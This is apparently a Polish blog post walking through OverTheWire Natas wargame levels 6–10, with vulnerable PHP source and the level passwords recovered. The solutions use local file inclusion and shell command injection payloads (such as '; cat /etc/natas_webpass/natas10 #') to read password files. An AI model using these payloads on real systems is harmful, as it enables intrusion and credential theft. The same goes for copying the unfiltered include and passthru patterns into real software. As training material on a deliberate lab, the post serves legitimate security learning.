Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapów 0-5 przedstawione zostały w tym wpisie.

Rozwiązania

Natas6

Kożystając z hasła uzyskanego na poziomie 5 logujemy się do natas6. W tym przykładzie udostępniono nam kod źródłowy skryptu. Jego zawartość:

<?
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

Zauważamy, że zawartość zmiennej secret porównywana jest z zawartością $secret. Zmienna ta nie jest definiowana w ramach skryptu, jednak skrypt rozpoczyna się dyrektywą include, która wczytuje zawartość pliku includes/secret.inc. Odwiedzając adres http://natas6.natas.labs.overthewire.org/includes/secret.inc zauważamy pustą stronę, jednak rzut oka na źródło pozwala nam poznać zawartość zmiennej $secret.

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Dzięki temu rozpoznaniu wiemy jaki tekst należy wpisać w pole tekstowe Input secret. Uzyskujemy hasło do natas7:

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Natas7

Poziom prezentuje się następująco: dwa linki Home oraz About. Rzut oka na adresy linków:

Badamy zatem reakcję skryptu na dane przekazane w parametrze page przekazywanego metodą GET. Odwiedziny adresu http://natas7.natas.labs.overthewire.org/index.php?page=. powodują wystąpienie ostrzeżeń:

Warning: include(/var/www/natas/natas7): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening '.' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

Natomiast przekazanie w parametrze page index.php spowoduje nieskończoną pętlę. Powracając pamięcią do opisu gry zwracamy uwagę na kluczowe zdanie:

All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

Wiedząc, że skrypt otwiera zadany przez nas za pośrednictwem parametru page plik, otwórzmy plik z hasłem do kolejnego poziomu odwiedzając: http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8. Hasło do następnego poziomu to DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe.

Natas8

Poziom 8 jest nieco podobny do poprzedniego, rzućmy okiem na kod:

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

Tym razem przekazywane przez nas dane podawane są zakodowaniu funkcją encodeSecret() a następnie porównywane z ciągiem 3d3d516343746d4d6d6c315669563362. W celu uzyskania pierwotnej formy sekretu potrzebujemy funkcji odwrotnej do tej, którą zdefiniowano w zadaniu.

W tym celu napiszemy prosty skrypt w php, który wykona operacje odwrotne. Treść skryptu:

<?
        $encoded = "3d3d516343746d4d6d6c315669563362";
        echo base64_decode(strrev(hex2bin($encoded)));
?>

Skrypt wydrukuje następujący ciąg: oubWYf2kBq. Teraz wystarczy użyć tak wygenerowanego kodu do uzyskania hasła.

Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Natas9

Tym razem zadanie wykorzystuje bezpośrednie wywołanie polecenia konsoli. Kod zadania:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

Jeśli wyślemy niepusty ciąg zostanie on wykorzystany do wykonania komendy grep. Kluczowym dla zadania błędem, ulokowanym w kodzie, jest brak filtrowania wprowadzonego ciągu znaków. Wprowadźmy zadem następujący tekst: ; cat. Okazuje się, że zostaną wyświetlone wszystkie pozycje przeszukiwanego piku dictionary.txt. Przyczyna jest prosta, skrypt wywołał komendę powłoki:

grep -i ; cat dictionary

Co oznacza, że grep nie dostał żadnego pliku do przeszukania, natomiast cat wykonano na pliku dictionary.txt. Pozostaje wykorzystać tę podatność. W tym celu proponuję następujący ciąg: ; cat /etc/natas_webpass/natas10 #. Znak # na końcu spowoduje zakomentowanie dalszej części polecenia, w tym wypadku zignoruje nazwę dictionary.txt.

Wyikiem wykonania z takim parametrem jest hasło natas10: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu.

Natas10

Zadanie jest analogiczne do poprzedniego, jednak wprowadzono filtrowanie. Spójrzmy na kod

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

Główna różnica czyli filtrowanie wyraża się następująco: preg_match('/[;|&]/',$key). Wyrażenie regularne odfiltrowuje wykorzystany w poprzednim rozwiązaniu znak średnika oraz ampersand. Nadal jednak możemy zastosować znak # w związku z czym możemy zignorować wszystko co znajduje się po wprowadzonej przez nas treści. Pozostaje rozwiązać następujący problem: Jak wyorzystać grep w celu przeszukania pliku /etc/natas_webpass/natas11. Konstrukcja komendy grep jest następująca

grep [OPTIONS] PATTERN [FILE...]

Wykorzystajmy jako wzorzec znak kropki, która reprezentuje dowolny znak. Nasze zapytanie powinno wyglądać następująco: . /etc/natas_webpass/natas11 #.

Dzięki wyszukaniu dowolnego znaku w pliku z hasłem otrzymujemy całe hasło: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK.

Rozwiązanie następnego zadania.